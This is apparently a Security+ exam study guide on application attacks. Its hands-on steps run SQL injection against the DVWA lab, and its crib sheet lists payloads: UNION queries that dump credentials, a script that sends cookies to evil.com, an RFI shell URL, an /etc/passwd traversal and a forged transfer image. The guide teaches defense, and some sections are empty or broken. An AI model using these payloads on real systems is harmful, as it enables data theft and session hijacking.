CompTIA Security+ Application Attacks - Zero-Fluff, Hands-On Guide

CompTIA Security+ Application Attacks: Zero-Fluff, Hands-On Guide

(SQLi, XSS, CSRF, Buffer Overflow, LFI/RFI)

1. What This Is & Why It Matters

You’re a security analyst at a fintech startup. Your team just deployed a new web app for loan applications. A week later, logs show someone dumped the entire customer database—names, SSNs, account balances—via a single malicious input field. This is an SQL injection (SQLi) attack in action.

Application attacks exploit flaws in software design, input validation, or session management. They’re the #1 cause of data breaches (OWASP Top 10). If you ignore them: - Your app leaks data (GDPR fines, lawsuits, brand damage). - Attackers hijack user sessions (CSRF, XSS). - Your server gets pwned (buffer overflows, LFI/RFI leading to RCE).

Superpower you gain: You’ll spot vulnerable code, write secure queries, and harden apps before they hit production.

2. Core Concepts & Components

? SQL Injection (SQLi)

• Definition: Malicious SQL code inserted into input fields (e.g., login forms) to manipulate databases.
• Production insight: If your app concatenates user input into SQL queries (e.g., "SELECT * FROM users WHERE username = '" + user_input + "'"), you’re vulnerable.
• Real-world example: The 2017 Equifax breach (143M records) started with an unpatched SQLi vulnerability.

? Cross-Site Scripting (XSS)

• Definition: Injecting malicious JavaScript into a web app to execute in a victim’s browser (e.g., stealing cookies, keylogging).
• Types:
• Stored XSS: Malicious script saved on the server (e.g., in a comment field).
• Reflected XSS: Script reflected off a web server (e.g., in a URL parameter).
• DOM-based XSS: Script executes in the browser’s DOM (no server interaction).
• Production insight: If your app echoes user input without escaping (e.g., <?php echo $_GET['input']; ?>), you’re vulnerable.

? Cross-Site Request Forgery (CSRF)

• Definition: Tricking a user’s browser into sending unauthorized requests (e.g., changing their password, transferring funds).
• Production insight: If your app doesn’t use anti-CSRF tokens (e.g., in forms), attackers can forge requests from authenticated users.

? Buffer Overflow

• Definition: Writing more data to a buffer than it can hold, overwriting adjacent memory (e.g., crashing an app or executing arbitrary code).
• Production insight: Legacy C/C++ apps are prime targets. Modern languages (Python, Java) are safer but not immune (e.g., JNI, unsafe libraries).

? Local File Inclusion (LFI) / Remote File Inclusion (RFI)

• Definition:
• LFI: Including files from the local server (e.g., ?page=../../../../etc/passwd).
• RFI: Including files from a remote server (e.g., ?page=http://evil.com/shell.txt).
• Production insight: If your app uses user input to include files (e.g., include($_GET['page'] . '.php');), you’re vulnerable.

3. Step-by-Step Hands-On: Exploiting & Defending Against SQLi

Prerequisites

• A vulnerable web app (use DVWA or OWASP Juice Shop).
• Kali Linux (for attack tools) or Burp Suite.
• Basic SQL knowledge.

Step 1: Set Up a Vulnerable App

1. Install DVWA (Damn Vulnerable Web App): bash git clone https://github.com/digininja/DVWA.git cd DVWA docker-compose up -d
2. Access DVWA at http://localhost:8080 (default creds: admin:password).

Step 2: Exploit SQLi (Manual)

1. Navigate to SQL Injection in DVWA.
2. Enter a single quote (') in the input field. If you see a SQL error, the app is vulnerable.
3. Dump the database: sql ' OR '1'='1
4. This bypasses authentication (returns all users).
5. Extract table names: sql ' UNION SELECT 1,table_name FROM information_schema.tables -- -
6. Extract column names from a table (e.g., users): sql ' UNION SELECT 1,column_name FROM information_schema.columns WHERE table_name='users' -- -
7. Dump user data: sql ' UNION SELECT user,password FROM users -- -

Step 3: Defend Against SQLi

Option 1: Prepared Statements (Parameterized Queries)

PHP (PDO):

$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username");
$stmt->execute(['username' => $user_input]);
$user = $stmt->fetch();

Python (SQLite):

cursor.execute("SELECT * FROM users WHERE username = ?", (user_input,))

Option 2: Input Validation

• Whitelist allowed characters (e.g., only alphanumeric for usernames).
• Use regex to block SQL keywords (SELECT, UNION, --).

Option 3: Web Application Firewall (WAF)

• Deploy ModSecurity (Apache/Nginx) with the OWASP Core Rule Set (CRS).
• Example rule to block SQLi: apache SecRule ARGS "@detectSQLi" "id:1000,deny,status:403,msg:'SQL Injection Detected'"

Step 4: Verify Fixes

1. Retest with the same payloads. They should now fail.
2. Check logs for blocked attempts: bash tail -f /var/log/modsec_audit.log

4.-Production-Ready Best Practices

Security

• Never trust user input. Sanitize, validate, and escape everything.
• Use ORMs (e.g., SQLAlchemy, Django ORM) instead of raw SQL.
• Least privilege: Database users should have minimal permissions (e.g., no DROP TABLE).
• WAFs: Deploy ModSecurity, Cloudflare, or AWS WAF with OWASP rules.

Reliability & Maintainability

• Logging: Log all SQL queries in development (but never in production).
• Error handling: Don’t expose database errors to users (e.g., 500 Internal Server Error instead of SQL syntax error near '1'=1').
• Dependency scanning: Use npm audit, snyk, or trivy to scan for vulnerable libraries.

Observability

• Alert on SQLi attempts: Set up alerts for repeated UNION SELECT or OR 1=1 in logs.
• Monitor WAF blocks: Track spikes in 403 responses.

5. Common Mistakes & Traps

6.-Exam/Certification Focus (CompTIA Security+)

Typical Question Patterns

1. Scenario: "A web app allows users to search for products. An attacker enters ' OR 1=1 -- and sees all products. What’s the vulnerability?"
2. Answer: SQL injection.

3. Trap: "Input validation" is not enough—you need prepared statements.

4. Scenario: "A user clicks a link in an email and unknowingly transfers funds. What’s the attack?"

5. Answer: CSRF.

6. Trap: "XSS" is wrong—XSS executes scripts in the victim’s browser, but CSRF forges requests.

7. Scenario: "An app includes files using include($_GET['page'] . '.php'). What’s the risk?"

8. Answer: LFI/RFI.
9. Trap: "Directory traversal" is a type of LFI, but RFI is also possible.

Key Distinctions

7.-Hands-On Challenge

Challenge: Exploit a reflected XSS vulnerability in DVWA.
1. Navigate to XSS (Reflected) in DVWA.
2. Enter <script>alert('XSS')</script> in the input field.
3. Why it works: The app echoes user input without escaping HTML/JS.

Solution:

<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>

• This sends the user’s session cookie to an attacker’s server.

8.-Rapid-Reference Crib Sheet

SQLi

• Payloads: sql ' OR 1=1 -- ' UNION SELECT 1,2,3 --
• Defense: Prepared statements, WAF rules.
• Trap: Escaping quotes (') isn’t enough—use parameterized queries.

XSS

• Payloads: ```html
  

`` - Defense:htmlspecialchars()`, Content Security Policy (CSP). - Trap: DOM-based XSS doesn’t hit the server—sanitize client-side too.

CSRF

• Payload: html <img src="https://bank.com/transfer?to=attacker&amount=1000" width="0" height="0">
• Defense: Anti-CSRF tokens, SameSite=Lax cookies.
• Trap: "But my app uses HTTPS!"—HTTPS doesn’t stop CSRF.

Buffer Overflow

• Payload: Long string of As (e.g., python -c 'print("A"*1000)').
• Defense: ASLR, DEP, safe functions (strncpy instead of strcpy).
• Trap: Modern OSes mitigate this, but legacy apps are still vulnerable.

LFI/RFI

• Payloads: url ?page=../../../../etc/passwd (LFI) ?page=http://evil.com/shell.txt (RFI)
• Defense: Disable allow_url_include, validate input.
• Trap: RFI requires allow_url_include=On in PHP—disable it!

9.-Where to Go Next

1. Practice: PortSwigger Web Security Academy (free labs for SQLi, XSS, CSRF).
2. Tools: Burp Suite (intercepting proxy), SQLmap (automated SQLi).
3. Cheat Sheets:
4. OWASP SQLi Prevention Cheat Sheet
5. OWASP XSS Prevention Cheat Sheet
6. Books: The Web Application Hacker’s Handbook (Dafydd Stuttard, Marcus Pinto).

Final Tip: Application attacks are about exploiting trust. Never trust user input, and always validate, sanitize, and escape. ?